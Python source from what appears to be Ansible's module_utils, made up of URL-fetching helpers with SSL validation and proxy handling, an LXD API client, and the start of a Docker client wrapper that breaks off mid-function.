def generic_urlparse(parts):
    '''
    Returns a dictionary of url parts as parsed by urlparse,
    but accounts for the fact that older versions of that
    library do not support named attributes (ie. .netloc)
    '''
    generic_parts = dict()
    if hasattr(parts, 'netloc'):
        # urlparse is newer, just read the fields straight
        # from the parts object
        generic_parts['scheme']   = parts.scheme
        generic_parts['netloc']   = parts.netloc
        generic_parts['path']     = parts.path
        generic_parts['params']   = parts.params
        generic_parts['query']    = parts.query
        generic_parts['fragment'] = parts.fragment
        generic_parts['username'] = parts.username
        generic_parts['password'] = parts.password
        generic_parts['hostname'] = parts.hostname
        generic_parts['port']     = parts.port
    else:
        # we have to use indexes, and then parse out
        # the other parts not supported by indexing
        generic_parts['scheme']   = parts[0]
        generic_parts['netloc']   = parts[1]
        generic_parts['path']     = parts[2]
        generic_parts['params']   = parts[3]
        generic_parts['query']    = parts[4]
        generic_parts['fragment'] = parts[5]
        # get the username, password, etc.
        try:
            netloc_re = re.compile(r'^((?:\w)+(?::(?:\w)+)?@)?([A-Za-z0-9.-]+)(:\d+)?$')
            match = netloc_re.match(parts[1])
            auth = match.group(1)
            hostname = match.group(2)
            port = match.group(3)
            if port:
                # the capture group for the port will include the ':',
                # so remove it and convert the port to an integer
                port = int(port[1:])
            if auth:
                # the capture group above inclues the @, so remove it
                # and then split it up based on the first ':' found
                auth = auth[:-1]
                username, password = auth.split(':', 1)
            else:
                username = password = None
            generic_parts['username'] = username
            generic_parts['password'] = password
            generic_parts['hostname'] = hostname
            generic_parts['port']     = port
        except:
            generic_parts['username'] = None
            generic_parts['password'] = None
            generic_parts['hostname'] = parts[1]
            generic_parts['port']     = None
    return generic_parts


class RequestWithMethod(urllib_request.Request):
    '''
    Workaround for using DELETE/PUT/etc with urllib2
    Originally contained in library/net_infrastructure/dnsmadeeasy
    '''

    def __init__(self, url, method, data=None, headers=None):
        if headers is None:
            headers = {}
        self._method = method.upper()
        urllib_request.Request.__init__(self, url, data, headers)

    def get_method(self):
        if self._method:
            return self._method
        else:
            return urllib_request.Request.get_method(self)


def RedirectHandlerFactory(follow_redirects=None, validate_certs=True):
    """This is a class factory that closes over the value of
    ``follow_redirects`` so that the RedirectHandler class has access to
    that value without having to use globals, and potentially cause problems
    where ``open_url`` or ``fetch_url`` are used multiple times in a module.
    """

    class RedirectHandler(urllib_request.HTTPRedirectHandler):
        """This is an implementation of a RedirectHandler to match the
        functionality provided by httplib2. It will utilize the value of
        ``follow_redirects`` that is passed into ``RedirectHandlerFactory``
        to determine how redirects should be handled in urllib2.
        """

        def redirect_request(self, req, fp, code, msg, hdrs, newurl):
            handler = maybe_add_ssl_handler(newurl, validate_certs)
            if handler:
                urllib_request._opener.add_handler(handler)

            if follow_redirects == 'urllib2':
                return urllib_request.HTTPRedirectHandler.redirect_request(self, req, fp, code, msg, hdrs, newurl)
            elif follow_redirects in ['no', 'none', False]:
                raise urllib_error.HTTPError(newurl, code, msg, hdrs, fp)

            do_redirect = False
            if follow_redirects in ['all', 'yes', True]:
                do_redirect = (code >= 300 and code < 400)

            elif follow_redirects == 'safe':
                m = req.get_method()
                do_redirect = (code >= 300 and code < 400 and m in ('GET', 'HEAD'))

            if do_redirect:
                # be conciliant with URIs containing a space
                newurl = newurl.replace(' ', '%20')
                newheaders = dict((k,v) for k,v in req.headers.items()
                                  if k.lower() not in ("content-length", "content-type")
                                 )
                return urllib_request.Request(newurl,
                               headers=newheaders,
                               origin_req_host=req.get_origin_req_host(),
                               unverifiable=True)
            else:
                raise urllib_error.HTTPError(req.get_full_url(), code, msg, hdrs, fp)

    return RedirectHandler


def build_ssl_validation_error(hostname, port, paths):
    '''Inteligently build out the SSLValidationError based on what support
    you have installed
    '''

    msg = [
        ('Failed to validate the SSL certificate for %s:%s.'
         ' Make sure your managed systems have a valid CA'
         ' certificate installed.')
    ]
    if not HAS_SSLCONTEXT:
        msg.append('If the website serving the url uses SNI you need'
                   ' python >= 2.7.9 on your managed machine')
        if not HAS_URLLIB3_SNI_SUPPORT:
            msg.append('or you can install the `urllib3`, `pyopenssl`,'
                       ' `ndg-httpsclient`, and `pyasn1` python modules')

        msg.append('to perform SNI verification in python >= 2.6.')

    msg.append('You can use validate_certs=False if you do'
               ' not need to confirm the servers identity but this is'
               ' unsafe and not recommended.'
               ' Paths checked for this platform: %s')

    raise SSLValidationError(' '.join(msg) % (hostname, port, ", ".join(paths)))


class SSLValidationHandler(urllib_request.BaseHandler):
    '''
    A custom handler class for SSL validation.

    Based on:
    http://stackoverflow.com/questions/1087227/validate-ssl-certificates-with-python
    http://techknack.net/python-urllib2-handlers/
    '''
    CONNECT_COMMAND = "CONNECT %s:%s HTTP/1.0\r\nConnection: close\r\n"

    def __init__(self, hostname, port):
        self.hostname = hostname
        self.port = port

    def get_ca_certs(self):
        # tries to find a valid CA cert in one of the
        # standard locations for the current distribution

        ca_certs = []
        paths_checked = []

        system = platform.system()
        # build a list of paths to check for .crt/.pem files
        # based on the platform type
        paths_checked.append('/etc/ssl/certs')
        if system == 'Linux':
            paths_checked.append('/etc/pki/ca-trust/extracted/pem')
            paths_checked.append('/etc/pki/tls/certs')
            paths_checked.append('/usr/share/ca-certificates/cacert.org')
        elif system == 'FreeBSD':
            paths_checked.append('/usr/local/share/certs')
        elif system == 'OpenBSD':
            paths_checked.append('/etc/ssl')
        elif system == 'NetBSD':
            ca_certs.append('/etc/openssl/certs')
        elif system == 'SunOS':
            paths_checked.append('/opt/local/etc/openssl/certs')

        # fall back to a user-deployed cert in a standard
        # location if the OS platform one is not available
        paths_checked.append('/etc/ansible')

        tmp_fd, tmp_path = tempfile.mkstemp()

        # Write the dummy ca cert if we are running on Mac OS X
        if system == 'Darwin':
            os.write(tmp_fd, DUMMY_CA_CERT)
            # Default Homebrew path for OpenSSL certs
            paths_checked.append('/usr/local/etc/openssl')

        # for all of the paths, find any  .crt or .pem files
        # and compile them into single temp file for use
        # in the ssl check to speed up the test
        for path in paths_checked:
            if os.path.exists(path) and os.path.isdir(path):
                dir_contents = os.listdir(path)
                for f in dir_contents:
                    full_path = os.path.join(path, f)
                    if os.path.isfile(full_path) and os.path.splitext(f)[1] in ('.crt','.pem'):
                        try:
                            cert_file = open(full_path, 'r')
                            os.write(tmp_fd, cert_file.read())
                            os.write(tmp_fd, '\n')
                            cert_file.close()
                        except:
                            pass

        return (tmp_path, paths_checked)

    def validate_proxy_response(self, response, valid_codes=[200]):
        '''
        make sure we get back a valid code from the proxy
        '''
        try:
            (http_version, resp_code, msg) = re.match(r'(HTTP/\d\.\d) (\d\d\d) (.*)', response).groups()
            if int(resp_code) not in valid_codes:
                raise Exception
        except:
            raise ProxyError('Connection to proxy failed')

    def detect_no_proxy(self, url):
        '''
        Detect if the 'no_proxy' environment variable is set and honor those locations.
        '''
        env_no_proxy = os.environ.get('no_proxy')
        if env_no_proxy:
            env_no_proxy = env_no_proxy.split(',')
            netloc = urlparse(url).netloc

            for host in env_no_proxy:
                if netloc.endswith(host) or netloc.split(':')[0].endswith(host):
                    # Our requested URL matches something in no_proxy, so don't
                    # use the proxy for this
                    return False
        return True

    def _make_context(self, tmp_ca_cert_path):
        context = create_default_context()
        context.load_verify_locations(tmp_ca_cert_path)
        return context

    def http_request(self, req):
        tmp_ca_cert_path, paths_checked = self.get_ca_certs()
        https_proxy = os.environ.get('https_proxy')
        context = None
        if HAS_SSLCONTEXT:
            context = self._make_context(tmp_ca_cert_path)

        # Detect if 'no_proxy' environment variable is set and if our URL is included
        use_proxy = self.detect_no_proxy(req.get_full_url())

        if not use_proxy:
            # ignore proxy settings for this host request
            return req

        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if https_proxy:
                proxy_parts = generic_urlparse(urlparse(https_proxy))
                port = proxy_parts.get('port') or 443
                s.connect((proxy_parts.get('hostname'), port))
                if proxy_parts.get('scheme') == 'http':
                    s.sendall(self.CONNECT_COMMAND % (self.hostname, self.port))
                    if proxy_parts.get('username'):
                        credentials = "%s:%s" % (proxy_parts.get('username',''), proxy_parts.get('password',''))
                        s.sendall('Proxy-Authorization: Basic %s\r\n' % credentials.encode('base64').strip())
                    s.sendall('\r\n')
                    connect_result = s.recv(4096)
                    self.validate_proxy_response(connect_result)
                    if context:
                        ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                    elif HAS_URLLIB3_SNI_SUPPORT:
                        ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                    else:
                        ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                        match_hostname(ssl_s.getpeercert(), self.hostname)
                else:
                    raise ProxyError('Unsupported proxy scheme: %s. Currently ansible only supports HTTP proxies.' % proxy_parts.get('scheme'))
            else:
                s.connect((self.hostname, self.port))
                if context:
                    ssl_s = context.wrap_socket(s, server_hostname=self.hostname)
                elif HAS_URLLIB3_SNI_SUPPORT:
                    ssl_s = ssl_wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL, server_hostname=self.hostname)
                else:
                    ssl_s = ssl.wrap_socket(s, ca_certs=tmp_ca_cert_path, cert_reqs=ssl.CERT_REQUIRED, ssl_version=PROTOCOL)
                    match_hostname(ssl_s.getpeercert(), self.hostname)
            # close the ssl connection
            #ssl_s.unwrap()
            s.close()
        except (ssl.SSLError, socket.error):
            e = get_exception()
            # fail if we tried all of the certs but none worked
            if 'connection refused' in str(e).lower():
                raise ConnectionError('Failed to connect to %s:%s.' % (self.hostname, self.port))
            else:
                build_ssl_validation_error(self.hostname, self.port, paths_checked)
        except CertificateError:
            build_ssl_validation_error(self.hostname, self.port, paths_checked)

        try:
            # cleanup the temp file created, don't worry
            # if it fails for some reason
            os.remove(tmp_ca_cert_path)
        except:
            pass

        return req

    https_request = http_request


def maybe_add_ssl_handler(url, validate_certs):
    # FIXME: change the following to use the generic_urlparse function
    #        to remove the indexed references for 'parsed'
    parsed = urlparse(url)
    if parsed[0] == 'https' and validate_certs:
        if not HAS_SSL:
            raise NoSSLError('SSL validation is not available in your version of python. You can use validate_certs=False,'
                             ' however this is unsafe and not recommended')

        # do the cert validation
        netloc = parsed[1]
        if '@' in netloc:
            netloc = netloc.split('@', 1)[1]
        if ':' in netloc:
            hostname, port = netloc.split(':', 1)
            port = int(port)
        else:
            hostname = netloc
            port = 443
        # create the SSL validation handler and
        # add it to the list of handlers
        return SSLValidationHandler(hostname, port)


def open_url(url, data=None, headers=None, method=None, use_proxy=True,
             force=False, last_mod_time=None, timeout=10, validate_certs=True,
             url_username=None, url_password=None, http_agent=None,
             force_basic_auth=False, follow_redirects='urllib2'):
    '''
    Sends a request via HTTP(S) or FTP using urllib2 (Python2) or urllib (Python3)

    Does not require the module environment
    '''
    handlers = []
    ssl_handler = maybe_add_ssl_handler(url, validate_certs)
    if ssl_handler:
        handlers.append(ssl_handler)

    # FIXME: change the following to use the generic_urlparse function
    #        to remove the indexed references for 'parsed'
    parsed = urlparse(url)
    if parsed[0] != 'ftp':
        username = url_username

        if headers is None:
            headers = {}

        if username:
            password = url_password
            netloc = parsed[1]
        elif '@' in parsed[1]:
            credentials, netloc = parsed[1].split('@', 1)
            if ':' in credentials:
                username, password = credentials.split(':', 1)
            else:
                username = credentials
                password = ''

            parsed = list(parsed)
            parsed[1] = netloc

            # reconstruct url without credentials
            url = urlunparse(parsed)

        if username and not force_basic_auth:
            passman = urllib_request.HTTPPasswordMgrWithDefaultRealm()

            # this creates a password manager
            passman.add_password(None, netloc, username, password)

            # because we have put None at the start it will always
            # use this username/password combination for  urls
            # for which `theurl` is a super-url
            authhandler = urllib_request.HTTPBasicAuthHandler(passman)

            # create the AuthHandler
            handlers.append(authhandler)

        elif username and force_basic_auth:
            headers["Authorization"] = basic_auth_header(username, password)

        else:
            try:
                rc = netrc.netrc(os.environ.get('NETRC'))
                login = rc.authenticators(parsed[1])
            except IOError:
                login = None

            if login:
                username, _, password = login
                if username and password:
                    headers["Authorization"] = basic_auth_header(username, password)

    if not use_proxy:
        proxyhandler = urllib_request.ProxyHandler({})
        handlers.append(proxyhandler)

    if HAS_SSLCONTEXT and not validate_certs:
        # In 2.7.9, the default context validates certificates
        context = SSLContext(ssl.PROTOCOL_SSLv23)
        context.options |= ssl.OP_NO_SSLv2
        context.options |= ssl.OP_NO_SSLv3
        context.verify_mode = ssl.CERT_NONE
        context.check_hostname = False
        handlers.append(urllib_request.HTTPSHandler(context=context))

    # pre-2.6 versions of python cannot use the custom https
    # handler, since the socket class is lacking create_connection.
    # Some python builds lack HTTPS support.
    if hasattr(socket, 'create_connection') and CustomHTTPSHandler:
        handlers.append(CustomHTTPSHandler)

    handlers.append(RedirectHandlerFactory(follow_redirects, validate_certs))

    opener = urllib_request.build_opener(*handlers)
    urllib_request.install_opener(opener)

    if method:
        if method.upper() not in ('OPTIONS','GET','HEAD','POST','PUT','DELETE','TRACE','CONNECT','PATCH'):
            raise ConnectionError('invalid HTTP request method; %s' % method.upper())
        request = RequestWithMethod(url, method.upper(), data)
    else:
        request = urllib_request.Request(url, data)

    # add the custom agent header, to help prevent issues
    # with sites that block the default urllib agent string
    request.add_header('User-agent', http_agent)

    # if we're ok with getting a 304, set the timestamp in the
    # header, otherwise make sure we don't get a cached copy
    if last_mod_time and not force:
        tstamp = last_mod_time.strftime('%a, %d %b %Y %H:%M:%S +0000')
        request.add_header('If-Modified-Since', tstamp)
    else:
        request.add_header('cache-control', 'no-cache')

    # user defined headers now, which may override things we've set above
    if headers:
        if not isinstance(headers, dict):
            raise ValueError("headers provided to fetch_url() must be a dict")
        for header in headers:
            request.add_header(header, headers[header])

    urlopen_args = [request, None]
    if sys.version_info >= (2,6,0):
        # urlopen in python prior to 2.6.0 did not
        # have a timeout parameter
        urlopen_args.append(timeout)

    r = urllib_request.urlopen(*urlopen_args)
    return r

#
# Module-related functions
#


def basic_auth_header(username, password):
    return "Basic %s" % base64.b64encode("%s:%s" % (username, password))


def url_argument_spec():
    '''
    Creates an argument spec that can be used with any module
    that will be requesting content via urllib/urllib2
    '''
    return dict(
        url=dict(),
        force=dict(default='no', aliases=['thirsty'], type='bool'),
        http_agent=dict(default='ansible-httpget'),
        use_proxy=dict(default='yes', type='bool'),
        validate_certs=dict(default='yes', type='bool'),
        url_username=dict(required=False),
        url_password=dict(required=False),
        force_basic_auth=dict(required=False, type='bool', default='no'),

    )


def fetch_url(module, url, data=None, headers=None, method=None,
              use_proxy=True, force=False, last_mod_time=None, timeout=10):
    '''Sends a request via HTTP(S) or FTP (needs the module as parameter)

    :arg module: The AnsibleModule (used to get username, password etc. (s.b.).
    :arg url:             The url to use.

    :kwarg data:          The data to be sent (in case of POST/PUT).
    :kwarg headers:       A dict with the request headers.
    :kwarg method:        "POST", "PUT", etc.
    :kwarg boolean use_proxy:     Default: True
    :kwarg boolean force: If True: Do not get a cached copy (Default: False)
    :kwarg last_mod_time: Default: None
    :kwarg int timeout:   Default: 10

    :returns: A tuple of (**response**, **info**). Use ``response.body()`` to read the data.
        The **info** contains the 'status' and other meta data. When a HttpError (status > 400)
        occurred then ``info['body']`` contains the error response data::

    Example::

        data={...}
        resp, info = fetch_url("http://example.com",
                               data=module.jsonify(data)
                               header={Content-type': 'application/json'},
                               method="POST")
        status_code = info["status"]
        body = resp.read()
        if status_code >= 400 :
            body = info['body']
'''

    if not HAS_URLPARSE:
        module.fail_json(msg='urlparse is not installed')

    # Get validate_certs from the module params
    validate_certs = module.params.get('validate_certs', True)

    username = module.params.get('url_username', '')
    password = module.params.get('url_password', '')
    http_agent = module.params.get('http_agent', None)
    force_basic_auth = module.params.get('force_basic_auth', '')

    follow_redirects = module.params.get('follow_redirects', 'urllib2')

    r = None
    info = dict(url=url)
    try:
        r = open_url(url, data=data, headers=headers, method=method,
                     use_proxy=use_proxy, force=force, last_mod_time=last_mod_time, timeout=timeout,
                     validate_certs=validate_certs, url_username=username,
                     url_password=password, http_agent=http_agent, force_basic_auth=force_basic_auth,
                     follow_redirects=follow_redirects)
        info.update(r.info())
        info.update(dict(msg="OK (%s bytes)" % r.headers.get('Content-Length', 'unknown'), url=r.geturl(), status=r.code))
    except NoSSLError:
        e = get_exception()
        distribution = get_distribution()
        if distribution is not None and distribution.lower() == 'redhat':
            module.fail_json(msg='%s. You can also install python-ssl from EPEL' % str(e))
        else:
            module.fail_json(msg='%s' % str(e))
    except (ConnectionError, ValueError):
        e = get_exception()
        module.fail_json(msg=str(e))
    except urllib_error.HTTPError:
        e = get_exception()
        try:
            body = e.read()
        except AttributeError:
            body = ''
        info.update(dict(msg=str(e), body=body, **e.info()))
        info['status'] = e.code
    except urllib_error.URLError:
        e = get_exception()
        code = int(getattr(e, 'code', -1))
        info.update(dict(msg="Request failed: %s" % str(e), status=code))
    except socket.error:
        e = get_exception()
        info.update(dict(msg="Connection failure: %s" % str(e), status=-1))
    except Exception:
        e = get_exception()
        info.update(dict(msg="An unknown error occurred: %s" % str(e), status=-1))

    return r, info






#!/usr/bin/python
# -*- coding: utf-8 -*-

# (c) 2016, Hiroaki Nakamura <hnakamur@gmail.com>
#
# This code is part of Ansible, but is an independent component.
# This particular file snippet, and this file snippet only, is BSD licensed.
# Modules you write using this snippet, which is embedded dynamically by Ansible
# still belong to the author of the module, and may assign their own license
# to the complete work.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
#    * Redistributions of source code must retain the above copyright
#      notice, this list of conditions and the following disclaimer.
#    * Redistributions in binary form must reproduce the above copyright notice,
#      this list of conditions and the following disclaimer in the documentation
#      and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
# IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
# USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

try:
    import json
except ImportError:
    import simplejson as json

# httplib/http.client connection using unix domain socket
import socket
import ssl
try:
    from httplib import HTTPConnection, HTTPSConnection
except ImportError:
    # Python 3
    from http.client import HTTPConnection, HTTPSConnection

class UnixHTTPConnection(HTTPConnection):
    def __init__(self, path):
        HTTPConnection.__init__(self, 'localhost')
        self.path = path

    def connect(self):
        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        sock.connect(self.path)
        self.sock = sock

from ansible.module_utils.urls import generic_urlparse
try:
    from urlparse import urlparse
except ImportError:
    # Python 3
    from url.parse import urlparse

class LXDClientException(Exception):
    def __init__(self, msg, **kwargs):
        self.msg = msg
        self.kwargs = kwargs

class LXDClient(object):
    def __init__(self, url, key_file=None, cert_file=None, debug=False):
        """LXD Client.

        :param url: The URL of the LXD server. (e.g. unix:/var/lib/lxd/unix.socket or https://127.0.0.1)
        :type url: ``str``
        :param key_file: The path of the client certificate key file.
        :type key_file: ``str``
        :param cert_file: The path of the client certificate file.
        :type cert_file: ``str``
        :param debug: The debug flag. The request and response are stored in logs when debug is true.
        :type debug: ``bool``
        """
        self.url = url
        self.debug = debug
        self.logs = []
        if url.startswith('https:'):
            self.cert_file = cert_file
            self.key_file = key_file
            parts = generic_urlparse(urlparse(self.url))
            ctx = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
            ctx.load_cert_chain(cert_file, keyfile=key_file)
            self.connection = HTTPSConnection(parts.get('netloc'), context=ctx)
        elif url.startswith('unix:'):
            unix_socket_path = url[len('unix:'):]
            self.connection = UnixHTTPConnection(unix_socket_path)
        else:
            raise LXDClientException('URL scheme must be unix: or https:')

    def do(self, method, url, body_json=None, ok_error_codes=None, timeout=None):
        resp_json = self._send_request(method, url, body_json=body_json, ok_error_codes=ok_error_codes, timeout=timeout)
        if resp_json['type'] == 'async':
            url = '{0}/wait'.format(resp_json['operation'])
            resp_json = self._send_request('GET', url)
            if resp_json['metadata']['status'] != 'Success':
                self._raise_err_from_json(resp_json)
        return resp_json

    def authenticate(self, trust_password):
        body_json = {'type': 'client', 'password': trust_password}
        return self._send_request('POST', '/1.0/certificates', body_json=body_json)

    def _send_request(self, method, url, body_json=None, ok_error_codes=None, timeout=None):
        try:
            body = json.dumps(body_json)
            self.connection.request(method, url, body=body)
            resp = self.connection.getresponse()
            resp_json = json.loads(resp.read())
            self.logs.append({
                'type': 'sent request',
                'request': {'method': method, 'url': url, 'json': body_json, 'timeout': timeout},
                'response': {'json': resp_json}
            })
            resp_type = resp_json.get('type', None)
            if resp_type == 'error':
                if ok_error_codes is not None and resp_json['error_code'] in ok_error_codes:
                    return resp_json
                self._raise_err_from_json(resp_json)
            return resp_json
        except socket.error as e:
            raise LXDClientException('cannot connect to the LXD server', err=e)

    def _raise_err_from_json(self, resp_json):
        err_params = {}
        if self.debug:
            err_params['logs'] = self.logs
        raise LXDClientException(self._get_err_from_resp_json(resp_json), **err_params)

    @staticmethod
    def _get_err_from_resp_json(resp_json):
        err = None
        metadata = resp_json.get('metadata', None)
        if metadata is not None:
            err = metadata.get('err', None)
        if err is None:
            err = resp_json.get('error', None)
        return err






#
#  Copyright 2016 Red Hat | Ansible
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

import os
import re
import json
import sys
import copy

from urlparse import urlparse
from ansible.module_utils.basic import *

HAS_DOCKER_PY = True
HAS_DOCKER_ERROR = None

try:
    from requests.exceptions import SSLError
    from docker import Client
    from docker import __version__ as docker_version
    from docker.errors import APIError, TLSParameterError, NotFound
    from docker.tls import TLSConfig
    from docker.constants import DEFAULT_TIMEOUT_SECONDS, DEFAULT_DOCKER_API_VERSION
    from docker.utils.types import Ulimit, LogConfig
    from docker import auth
except ImportError as exc:
    HAS_DOCKER_ERROR = str(exc)
    HAS_DOCKER_PY = False

DEFAULT_DOCKER_HOST = 'unix://var/run/docker.sock'
DEFAULT_TLS = False
DEFAULT_TLS_VERIFY = False
MIN_DOCKER_VERSION = "1.7.0"

DOCKER_COMMON_ARGS = dict(
    docker_host=dict(type='str', aliases=['docker_url']),
    tls_hostname=dict(type='str'),
    api_version=dict(type='str', aliases=['docker_api_version']),
    timeout=dict(type='int'),
    cacert_path=dict(type='str', aliases=['tls_ca_cert']),
    cert_path=dict(type='str', aliases=['tls_client_cert']),
    key_path=dict(type='str', aliases=['tls_client_key']),
    ssl_version=dict(type='str'),
    tls=dict(type='bool'),
    tls_verify=dict(type='bool'),
    debug=dict(type='bool', default=False),
    filter_logger=dict(type='bool', default=False),
)

DOCKER_MUTUALLY_EXCLUSIVE = [
    ['tls', 'tls_verify']
]

DOCKER_REQUIRED_TOGETHER = [
    ['cert_path', 'key_path']
]

DEFAULT_DOCKER_REGISTRY = 'https://index.docker.io/v1/'
EMAIL_REGEX = '[^@]+@[^@]+\.[^@]+'
BYTE_SUFFIXES = ['B', 'KB', 'MB', 'GB', 'TB', 'PB']


if not HAS_DOCKER_PY:
    # No docker-py. Create a place holder client to allow
    # instantiation of AnsibleModule and proper error handing
    class Client(object):
        def __init__(self, **kwargs):
            pass


def human_to_bytes(number):
    if number is None:
        return 0

    if isinstance(number, int):
        return number

    if number[-1].isdigit():
        return int(number)

    if number[-1] == BYTE_SUFFIXES[0] and number[-2].isdigit():
        return int(number[:-1])

    i = 1
    for each in BYTE_SUFFIXES[1:]:
        if number[-len(each):] == BYTE_SUFFIXES[i]:
            return int(number[:-len(each)]) * (1024 ** i)
        i += 1

    raise ValueError("Failed to convert %s. The suffix must be one of %s" % (number, ','.join(BYTE_SUFFIXES)))


class DockerBaseClass(object):

    def __init__(self):
        self.debug = False

    def log(self, msg, pretty_print=False):
        pass
        # if self.debug:
        #     log_file = open('docker.log', 'a')
        #     if pretty_print:
        #         log_file.write(json.dumps(msg, sort_keys=True, indent=4, separators=(',', ': ')))
        #         log_file.write(u'\n')
        #     else:
        #         log_file.write(msg + u'\n')


class AnsibleDockerClient(Client):

    def __init__(self, argument_spec=None, supports_check_mode=False, mutually_exclusive=None,
                 required_together=None, required_if=None):

        merged_arg_spec = dict()
        merged_arg_spec.update(DOCKER_COMMON_ARGS)
        if argument_spec:
            merged_arg_spec.update(argument_spec)
            self.arg_spec = merged_arg_spec

        mutually_exclusive_params = []
        mutually_exclusive_params += DOCKER_MUTUALLY_EXCLUSIVE
        if mutually_exclusive:
            mutually_exclusive_params += mutually_exclusive

        required_together_params = []
        required_together_params += DOCKER_REQUIRED_TOGETHER
        if required_together:
            required_together_params += required_together

        self.module = AnsibleModule(
            argument_spec=merged_arg_spec,
            supports_check_mode=supports_check_mode,
            mutually_exclusive=mutually_exclusive_params,
            required_together=required_together_params,
            required_if=required_if)

        if not HAS_DOCKER_PY:
            self.fail("Failed to import docker-py - %s. Try `pip install docker-py`" % HAS_DOCKER_ERROR)

        if docker_version < MIN_DOCKER_VERSION:
            self.fail("Error: docker-py version is %s. Minimum version required is %s." % (docker_version,
                                                                                           MIN_DOCKER_VERSION))

        self.debug = self.module.params.get('debug')
        self.check_mode = self.module.check_mode   
        self._connect_params = self._get_connect_params()

        try:
            super(AnsibleDockerClient, self).__init__(**self._connect_params)
        except APIError as exc:
            self.fail("Docker API error: %s" % exc)
        except Exception as exc:
            self.fail("Error connecting: %s" % exc)

    def log(self, msg, pretty_print=False):
        pass
        # if self.debug:
        #     log_file = open('docker.log', 'a')
        #     if pretty_print:
        #         log_file.write(json.dumps(msg, sort_keys=True, indent=4, separators=(',', ': ')))
        #         log_file.write(u'\n')
        #     else:
        #         log_file.write(msg + u'\n')

    def fail(self, msg):
        self.module.fail_json(msg=msg)

    @staticmethod
    def _get_value(param_name, param_value, env_variable, default_value):
        if param_value is not None:
            # take module parameter value
            if param_value in BOOLEANS_TRUE:
                return True
            if param_value in BOOLEANS_FALSE:
                return False
            return param_value

        if env_variable is not None:
            env_value = os.environ.get(env_variable)
            if env_value is not None:
                # take the env variable value
                if param_name == 'cert_path':
                    return os.path.join(env_value, 'cert.pem')
                if param_name == 'cacert_path':
                    return os.path.join(env_value, 'ca.pem')
                if param_name == 'key_path':
                    return os.path.join(env_value, 'key.pem')
                if env_value in BOOLEANS_TRUE:
                    return True
                if env_value in BOOLEANS_FALSE:
                    return False
                return env_value

        # take the default
        return default_value

    @property
    def auth_params(self):
        # Get authentication credentials.
        # Precedence: module parameters-> environment variables-> defaults.

        self.log('Getting credentials')

        params = dict()
        for key in DOCKER_COMMON_ARGS:
            params[key] = self.module.params.get(key)

        if self.module.params.get('use_tls'):
            # support use_tls option in docker_image.py. This will be deprecated.
            use_tls = self.module.params.get('use_tls')
            if use_tls == 'encrypt':
                params['tls'] = True
            if use_tls == 'verify':
                params['tls_verify'] = True

        result = dict(
            docker_host=self._get_value('docker_host', params['docker_host'], 'DOCKER_HOST',
                                        DEFAULT_DOCKER_HOST),
            tls_hostname=self._get_value('tls_hostname', params['tls_hostname'],
                                        'DOCKER_TLS_HOSTNAME', 'localhost'),
            api_version=self._get_value('api_version', params['api_version'], 'DOCKER_API_VERSION',
                                        DEFAULT_DOCKER_API_VERSION),
            cacert_path=self._get_value('cacert_path', params['cacert_path'], 'DOCKER_CERT_PATH', None),
            cert_path=self._get_value('cert_path', params['cert_path'], 'DOCKER_CERT_PATH', None),
            key_path=self._get_value('key_path', params['key_path'], 'DOCKER_CERT_PATH', None),
            ssl_version=self._get_value('ssl_version', params['ssl_version'], 'DOCKER_SSL_VERSION', None),
            tls=self._get_value('tls', params['tls'], 'DOCKER_TLS', DEFAULT_TLS),
            tls_verify=self._get_value('tls_verfy', params['tls_verify'], 'DOCKER_TLS_VERIFY',
                                       DEFAULT_TLS_VERIFY),
            timeout=self._get_value('timeout', params['timeout'], 'DOCKER_TIMEOUT',
                                    DEFAULT_TIMEOUT_SECONDS),
        )

        if result['tls_hostname'] is None:
            # get default machine name from the url
            parsed_url = urlparse(result['docker_host'])
            if ':' in parsed_url.netloc:
                result['tls_hostname'] = parsed_url.netloc[:parsed_url.netloc.rindex(':')]
            else:
                result['tls_hostname'] = parsed_url

        return result

    def _get_tls_config(self, **kwargs):
        self.log("get_tls_config:")
        for key in kwargs:
            self.log("  %s: %s" %  (key, kwargs[key]))
        try:
            tls_config = TLSConfig(**kwargs)
            return tls_config
        except TLSParameterError as exc:
           self.fail("TLS config error: %s" % exc)

    def _get_connect_params(self):
        auth = self.auth_params

        self.log("connection params:")
        for key in auth:
            self.log("  %s: %s" % (key, auth[key]))

        if auth['tls'] or auth['tls_verify']:
